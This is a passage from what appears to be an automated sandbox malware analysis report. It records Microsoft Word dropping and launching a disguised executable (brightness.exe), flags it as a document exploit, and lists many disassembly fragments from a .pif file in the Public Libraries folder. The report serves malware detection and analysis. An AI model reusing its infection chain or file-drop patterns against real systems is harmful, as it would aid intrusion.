00000011.00000003.2397508474.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000011.00000003.2397508474.0000000000889000.00000004.00000020.00020000.00000000.sdmp
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028358B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,8_2_028358B4

          Software Vulnerabilities

          barindex
          Document exploit detected (creates forbidden files)
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to behavior
          Document exploit detected (drops PE files)
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: brightness.exe.0.drJump to dropped file
          Document exploit detected (process start blacklist hit)
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\brightness.exe
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h12_2_2600DC80
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-40h]12_2_2911FD28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2911F2B5h12_2_2911F0C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2911FC3Fh12_2_2911F0C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-40h]12_2_2911FD20
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h12_2_2911EDFB
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h12_2_2911EC1B
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2911E0C5h12_2_2911DF07
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2911E0C5h12_2_2911E114
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h12_2_2911E5E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1D10E9h12_2_2A1D0E38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1D185Dh12_2_2A1D1440
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DB829h12_2_2A1DB580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DC0D9h12_2_2A1DBE30
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DF4F9h12_2_2A1DF250
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DC531h12_2_2A1DC288
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DF951h12_2_2A1DF6A8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DC989h12_2_2A1DC6E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DFDA9h12_2_2A1DFB00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DCDE1h12_2_2A1DCB38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DD239h12_2_2A1DCF90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1D185Dh12_2_2A1D178B
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DD691h12_2_2A1DD3E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DDAE9h12_2_2A1DD840
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DDF41h12_2_2A1DDC98
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DE399h12_2_2A1DE0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DE7F1h12_2_2A1DE548
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DEC49h12_2_2A1DE9A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DBC81h12_2_2A1DB9D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1DF0A1h12_2_2A1DEDF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EBCDEh12_2_2A1EBA10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, 000003E8h12_2_2A1EFE80
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E7DC0h12_2_2A1E7AF0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EA60Eh12_2_2A1EA340
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E1449h12_2_2A1E11A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E68FDh12_2_2A1E65C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EDCCEh12_2_2A1EDA00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E48C9h12_2_2A1E4620
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E1CF9h12_2_2A1E1A50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1ECF1Eh12_2_2A1ECC50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EEF0Eh12_2_2A1EEC40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E02E9h12_2_2A1E0040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E4D21h12_2_2A1E4A78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, 000003E8h12_2_2A1EFE70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E3311h12_2_2A1E3068
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EAF2Eh12_2_2A1EAC60
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E5709h12_2_2A1E5460
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E0741h12_2_2A1E0498
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EE15Eh12_2_2A1EDE90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E5B61h12_2_2A1E58B8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EA17Eh12_2_2A1E9EB0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E2151h12_2_2A1E1EA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EC16Eh12_2_2A1EBEA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E517Bh12_2_2A1E4ED0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EF39Eh12_2_2A1EF0D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E3769h12_2_2A1E34C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EB3BEh12_2_2A1EB0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E0B99h12_2_2A1E08F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1ED3AEh12_2_2A1ED0E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E3BC1h12_2_2A1E3918
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E5FB9h12_2_2A1E5D10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EC5FEh12_2_2A1EC330
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EE5EEh12_2_2A1EE320
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E0FF1h12_2_2A1E0D48
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E701Ah12_2_2A1E6F70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E4019h12_2_2A1E3D70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1ED83Eh12_2_2A1ED570
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E6411h12_2_2A1E6168
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E701Ah12_2_2A1E6F69
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EF82Eh12_2_2A1EF560
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov esp, ebp12_2_2A1E9B8A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EB84Eh12_2_2A1EB580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EEA7Eh12_2_2A1EE7B0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EAA9Eh12_2_2A1EA7D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E4471h12_2_2A1E41C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1ECA8Eh12_2_2A1EC7C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1E18A1h12_2_2A1E15F8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A1EFCBEh12_2_2A1EF9F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A254C77h12_2_2A254908
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25E210h12_2_2A25DF18
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2552A0h12_2_2A254FA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A257418h12_2_2A257120
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A250BF6h12_2_2A250928
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A259F20h12_2_2A259C28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25CA28h12_2_2A25C730
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A253507h12_2_2A253238
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A255C30h12_2_2A255938
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25F530h12_2_2A25F238
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2560F8h12_2_2A255E00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25F9F8h12_2_2A25F700
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A258C00h12_2_2A258908
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25B708h12_2_2A25B410
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A252BE6h12_2_2A252918
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A259A58h12_2_2A259760
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A251E36h12_2_2A251B68
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25C560h12_2_2A25C268
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A255768h12_2_2A255470
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25F069h12_2_2A25ED70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A254746h12_2_2A254478
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A258270h12_2_2A257F78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25030Eh12_2_2A250040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A258738h12_2_2A258440
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A251516h12_2_2A251248
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25B240h12_2_2A25AF48
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25DD48h12_2_2A25DA50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A253E26h12_2_2A253B58
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A256F50h12_2_2A256C58
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25C098h12_2_2A25BDA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A253076h12_2_2A252DA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25EBA0h12_2_2A25E8A8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A257DA8h12_2_2A257AB0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A251086h12_2_2A250DB8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25A8B0h12_2_2A25A5B8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25AD78h12_2_2A25AA80
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A252756h12_2_2A252488
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25D880h12_2_2A25D588
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A256A88h12_2_2A256790
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A259590h12_2_2A259298
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25E6D8h12_2_2A25E3E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2542B6h12_2_2A253FE8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2578E0h12_2_2A2575E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25A3E8h12_2_2A25A0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2522C6h12_2_2A251FF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25CEF0h12_2_2A25CBF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25D3B8h12_2_2A25D0C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A253996h12_2_2A2536C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2565C0h12_2_2A2562C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A250777h12_2_2A2504D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2590C8h12_2_2A258DD0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A2519A6h12_2_2A2516D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A25BBD0h12_2_2A25B8D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A280CC8h12_2_2A2809D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A280338h12_2_2A280040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 2A280800h12_2_2A280508
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]12_2_2A29FAC9
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]12_2_2A29FAD8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]12_2_2A29FDEE
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]12_2_2A3F31D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]12_2_2A3FEF78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]12_2_2A3FEF70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]12_2_2A3F31C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then push 00000000h12_2_2AD3E28E
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h16_2_1A2EDC80
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-40h]16_2_1D29FD28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1D29F2B5h16_2_1D29F0C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1D29FC3Fh16_2_1D29F0C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-40h]16_2_1D29FD20
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h16_2_1D29EDFB
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h16_2_1D29EC1B
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1D29E0C5h16_2_1D29DF07
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h16_2_1D29E5E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1D29E0C5h16_2_1D29E114
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4510E9h16_2_1E450E38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45C989h16_2_1E45C6E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45D239h16_2_1E45CF90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45185Dh16_2_1E451440
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45F4F9h16_2_1E45F250
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45C0D9h16_2_1E45BE30
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45C531h16_2_1E45C288
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45F951h16_2_1E45F6A8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45FDA9h16_2_1E45FB00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45CDE1h16_2_1E45CB38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45D691h16_2_1E45D3E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45185Dh16_2_1E45178B
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45DAE9h16_2_1E45D840
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45185Dh16_2_1E45142F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45E399h16_2_1E45E0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45DF41h16_2_1E45DC98
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45E7F1h16_2_1E45E548
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45BC81h16_2_1E45B9D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45F0A1h16_2_1E45EDF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45B829h16_2_1E45B580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E45EC49h16_2_1E45E9A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E467DC0h16_2_1E467AF0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46C16Eh16_2_1E46BEA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4668FDh16_2_1E4665C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46EF0Eh16_2_1E46EC40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4602E9h16_2_1E460040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E461CF9h16_2_1E461A50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46CF1Eh16_2_1E46CC50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46AF2Eh16_2_1E46AC60
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E465709h16_2_1E465460
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E463311h16_2_1E463068
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E464D21h16_2_1E464A78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46DCCEh16_2_1E46DA00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46BCDEh16_2_1E46BA10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4648C9h16_2_1E464620
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E463769h16_2_1E4634C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46517Bh16_2_1E464ED0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46F39Eh16_2_1E46F0D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46D3AEh16_2_1E46D0E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46B3BEh16_2_1E46B0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E460B99h16_2_1E4608F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46E15Eh16_2_1E46DE90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E460741h16_2_1E460498
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E462151h16_2_1E461EA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46A17Eh16_2_1E469EB0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E465B61h16_2_1E4658B8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46A60Eh16_2_1E46A340
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E460FF1h16_2_1E460D48
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46F82Eh16_2_1E46F560
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E466411h16_2_1E466168
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46701Ah16_2_1E466F69
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46701Ah16_2_1E466F70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E464019h16_2_1E463D70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46D83Eh16_2_1E46D570
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E465FB9h16_2_1E465D10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E463BC1h16_2_1E463918
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46E5EEh16_2_1E46E320
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46C5FEh16_2_1E46C330
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46CA8Eh16_2_1E46C7C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E464471h16_2_1E4641C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46AA9Eh16_2_1E46A7D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46FCBEh16_2_1E46F9F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4618A1h16_2_1E4615F8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46B84Eh16_2_1E46B580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov esp, ebp16_2_1E469B8A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E461449h16_2_1E4611A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E46EA7Eh16_2_1E46E7B0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D4C77h16_2_1E4D4908
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D78E0h16_2_1E4D75E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D52A0h16_2_1E4D4FA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D1516h16_2_1E4D1248
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DB240h16_2_1E4DAF48
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D030Eh16_2_1E4D0040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D8738h16_2_1E4D8440
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D3E26h16_2_1E4D3B58
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D6F50h16_2_1E4D6C58
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DDD48h16_2_1E4DDA50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D1E36h16_2_1E4D1B68
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DC560h16_2_1E4DC268
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D9A58h16_2_1E4D9760
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D4746h16_2_1E4D4478
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D8270h16_2_1E4D7F78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D5768h16_2_1E4D5470
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DF069h16_2_1E4DED70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D8C00h16_2_1E4D8908
